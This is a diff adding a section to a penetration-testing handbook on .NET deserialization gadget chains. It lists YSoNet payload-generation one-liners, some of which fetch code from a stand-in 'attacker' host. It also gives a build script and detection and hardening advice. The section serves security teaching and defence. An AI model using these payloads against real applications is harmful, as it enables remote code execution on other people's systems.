diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index 673b09ae6..bd275ac02 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -194,6 +194,53 @@ namespace DeserializationTests
 }
 ```
 
+## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
+
+The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**.  Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
+
+Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
+
+| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
+|--------------|----------------------|--------------------|------------------|
+| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments.  YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+
+> [!TIP]
+> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
+
+### Building / Installing YSoNet
+
+If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
+
+```powershell
+Set-ExecutionPolicy Bypass -Scope Process -Force;
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
+iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
+choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
+
+git clone https://github.com/irsdl/ysonet
+cd ysonet
+nuget restore ysonet.sln
+msbuild ysonet.sln -p:Configuration=Release
+```
+
+The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
+
+### Detection & Hardening
+* **Detect** unexpected child processes of `w3wp.exe`, `PowerShell.exe`, or any process deserialising user-supplied data (e.g. `MessagePack`, `Json.NET`).
+* Enable and **enforce type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) whenever the legacy `BinaryFormatter` / `NetDataContractSerializer` cannot be removed.
+* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
+* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
+
+## References
+- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
+- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
+- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
+
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